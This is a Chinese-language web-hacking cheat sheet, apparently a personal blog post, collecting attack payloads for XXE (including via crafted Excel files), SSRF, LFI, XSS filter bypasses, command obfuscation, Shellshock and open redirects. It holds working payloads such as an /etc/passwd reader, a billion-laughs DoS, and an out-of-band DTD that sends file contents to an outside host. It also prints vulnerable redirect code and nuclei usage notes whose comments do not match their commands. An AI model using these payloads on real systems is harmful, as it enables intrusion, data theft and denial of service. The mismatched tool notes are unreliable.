xxe— hacking wite excel变种版 现在excel本质上就是一个包含xml文档的压缩文件,和docx,ppt一样,这就可以被称之为OOxml,即 office open xml
所以这有什么问题呢,就是说当我们要在某个地方允许上传这种ooxml的时候,如果没有安全配置器,那么这个存在xxe是必然的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ┌──(kali㉿kali)-[~/Desktop] └─$ mkdir xml && cd xml ┌──(kali㉿kali)-[~/Desktop/xml] └─$ unzip ../0. xlsx Archive: ../0. xlsx inflating: [Content_Types].xml inflating: _rels/.rels inflating: docProps/app.xml extracting: [trash]/0000. dat inflating: xl/_rels/workbook.xml.rels inflating: xl/styles.xml inflating: xl/theme/theme1.xml inflating: xl/workbook.xml inflating: xl/worksheets/sheet1.xml inflating: docProps/core.xml
创建一个崭新的excel,虽然你可能在里面键入一些文本,但这是无关紧要的,
要使用的攻击文件也会因为所使用的库而有所不同。大部分解析工作通常是从xl/workbook.xml
开始的,这个文件包含了所有的工作表的信息,包括工作表的名称和位置。
各种工作表也可以在xl/worksheets
目录下找到,这里的文件包含了工作表的内容,这些内容是以xml格式存储的。
所以我认为可以在这个文件中下功夫
—2025-1-7补充
其实后面我看了看别人的,不一定非要在workbook.xml,解压后的[Content_Types].xml也是可以下手
看了看佬的1 2 <!DOCTYPE x [ <!ENTITY xxe SYSTEM "dnslog的地址或者说你监听的地址/" > ]> <x>&xxe;</x>
然后压缩为xslx上传
可以看看这篇xxe-excel
ssrf-in-pdf 如果你访问的某个网站存在下列功能之一,那就可能存在ssrf了
1 2 3 4 打印pdf报告 生成报告文件 提交数字签名 ····
因为都会生成pdf形式的文件,而里面的pdf解析器/js会获取其中数据并将其添加到网页页面中,
在 PDF HTML注入中利用SSRF
PDF解析器html/XSS 实现SSRF
IDOR 简单来说就是比如 这个后面的132355就是idor,我们只需要更改后面的customer_number就可以绕过访问控制查看其它客户的记录
payload xss waf 1 2 3 <svg onload=alert(document.cookie)> <svg/oNLY%3d1/**/On+ONLoaD%3dco\u006efirm%26%23x28%3b%26%23x29%3b> <Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NLZCA6KQ=="))>
WAF: 1 2 3 4 <details/open/ontoggle=confirm('XSS')> 6'%22()%26%25%22%3E%3Csvg/onload=prompt(1)%3E/ ;window/*aabb*/['al'%2b'ert'](document./*aabb*/Location); ">%0D%0A%0D%0A<x '="foo"><x foo='><img src=x onerror=javascript:alert(cloudfrontbypass)//>
xxe 1 2 3 4 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
1 2 3 4 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
示例) 1 2 3 4 <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php">]> <foo><result>∾</result></foo>
1 2 3 4 <?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo (#ANY)> <!ENTITY xxe SYSTEM "https://www.example.com/text.txt">]><foo>&xxe;</foo>
实体扩展 - DOS) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
远程攻击 - 通过外部 xml 包含 1 2 3 4 <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY test SYSTEM "https://example.com/entity1.xml">]> <lolz><lol>3..2..1...&test<lol></lolz>
UTF-7 1 2 3 4 <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4 +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+ +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE data [ <!ENTITY % remote SYSTEM "http://publicServer.com/parameterEntity_sendftp.dtd"> %remote; %send; ]> <data>4</data> File stored on http://publicServer.com/parameterEntity_sendftp.dtd <!ENTITY % param1 "<!ENTITY % send SYSTEM 'ftp://publicServer.com/%payload;'>"> %param1;
ssrf 1 2 3 4 5 http://0177.1/ http://127.000.000.1 http://0x7f.1/
如果是其他什么地址,可以用http://www.subnetmask.info/
计算
伪协议 1 2 3 4 5 gopher://, dict://, php://, jar://, tftp://
通配符 xip.io是一个提供通配符DNS解析的服务,它将域名中的IP地址部分解析为实际的IP地址
nip.io也是
1 2 3 4 10.0.0.1.xip.io www.10.0.0.1.xip.io mysite.10.0.0.1.xip.io foo.bar.10.0.0.1.xip.io
1 2 3 4 5 10.0.0.1.nip.io app.10.0.0.1.nip.io customer1.app.10.0.0.1.nip.io customer2.app.10.0.0.1.nip.io otherapp.10.0.0.1.nip.io
AWS EC2 元数据(一种信息泄露 1 2 3 http://x.x.x.x/latest/meta-data/ http://x.x.x.x/latest/user-data/local-hostname http://x.x.x.x/latest/user-data/public-hostname
LFI 1 2 3 4 5 6 7 8 9 10 ../\ ..\/ /.. \/.. /%5c..
rce Werkzeug 调试器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 i'''d i"""d \l\s -l\a\h cat /e?c/p?ss?? cat /e??/??ss* {ls,} {ls,-a} 壳震漏洞 () { :;}; echo vulnerable curl -H "User-Agent: () { :; }; /bin/eject" http://example.com/
打开重定向 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 /%09/google.com /%5cgoogle.com //www.google.com/%2f%2e%2e //www.google.com/%2e%2e //google.com/ //google.com/%2f.. //\google.com /\victim.com:80%40google.com
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 ?url=http://{target} ?url=https://{target} ?next=http://{target} ?next=https://{target} ?url=https://{target} ?url=http://{target} ?url=//{target} ?url=$2f%2f{target} ?next=//{target} ?next=$2f%2f{target} ?url=//{target} ?url=$2f%2f{target} ?url=//{target} /redirect/{target} /cgi-bin/redirect.cgi?{target} /out/{target} /out?{target} /out?/{target} /out?//{target} /out?/\{target} /out?///{target} ?view={target} ?view=/{target} ?view=//{target} ?view=/\{target} ?view=///{target} /login?to={target} /login?to=/{target} /login?to=//{target} /login?to=/\{target} /login?to=///{target}
nuclei 使用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 # 显示帮助信息 nuclei -h # 显示 Nuclei 的当前版本 nuclei -version # 从文件中加载目标列表 nuclei -l targets.txt -t ~/nuclei-templates/ # 指定单个目标进行测试 nuclei -t https://example.com -t ~/nuclei-templates/ # 以静默模式运行 Nuclei(抑制输出) nuclei -u https://example.com -t ~/nuclei-templates/ # 指定使用的并发线程数 nuclei -silent -t https://example.com -t ~/nuclei-templates/ # 跳过需要身份验证的模板 nuclei -c 10 -t https://example.com -t ~/nuclei-templates/ # 自定义 Nuclei 报告的输出格式 nuclei -no-verify -t https://example.com -t ~/nuclei-templates/ # 忽略 SSL 证书错误 nuclei -o output.txt -t https://example.com -t ~/nuclei-templates/ # 指定自定义 HTTP 头包含在请求中 nuclei -insecure -t https://example.com -t ~/nuclei-templates/ # 指定自定义用户代理字符串包含在请求中 nuclei -headers "Authorization: Bearer TOKEN" -t https://example.com -t ~/nuclei-templates/ nuclei -user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" -t https://example.com -t ~/nuclei-templates/
重定向 额,应该叫开放式重定向
怎么说呢,就是让页面跳转到攻击的页面,比方说
as 1 2 3 4 https://vulnerable-website.com/redirect?url=https://malicious-website.com https://vulnerable-website.com/profile?redirect_uri=https://malicious-website.com
这就是重定向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ?redirect_url= ?next= ?continue= ?goto= ?return_Url= ?destination= ?fromURI= ?redirect= ?go= ?from= ?return= ?rurl= ?checkout_url=
开放式重定向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 redirect redirect_to redirect_url redirectUrl callback toUrl fromUrl request oauth_callback url go jump jump_to target service to returnUrl goTo link linkto domain return locationUrl r_url
如果是黑盒可以考虑open-redirect
白盒的话可以参考1 response.sendRedirect(request.getParameter("url" ));
1 2 $redirect_url = $_GET ['url' ];header ("Location: " . $redirect_url );
1 2 string url = request.QueryString["url"]; Response.Redirect(url);
1 redirect_to params[:url]
1 redirect_url = request.GET.get("url")HttpResponseRedirect(redirect_url)
1 redirect\_url = request.form\['url'\] redirect(redirect\_url)
绕过方法的话请参考这篇URL重定向漏洞解析
,师傅写的很详细了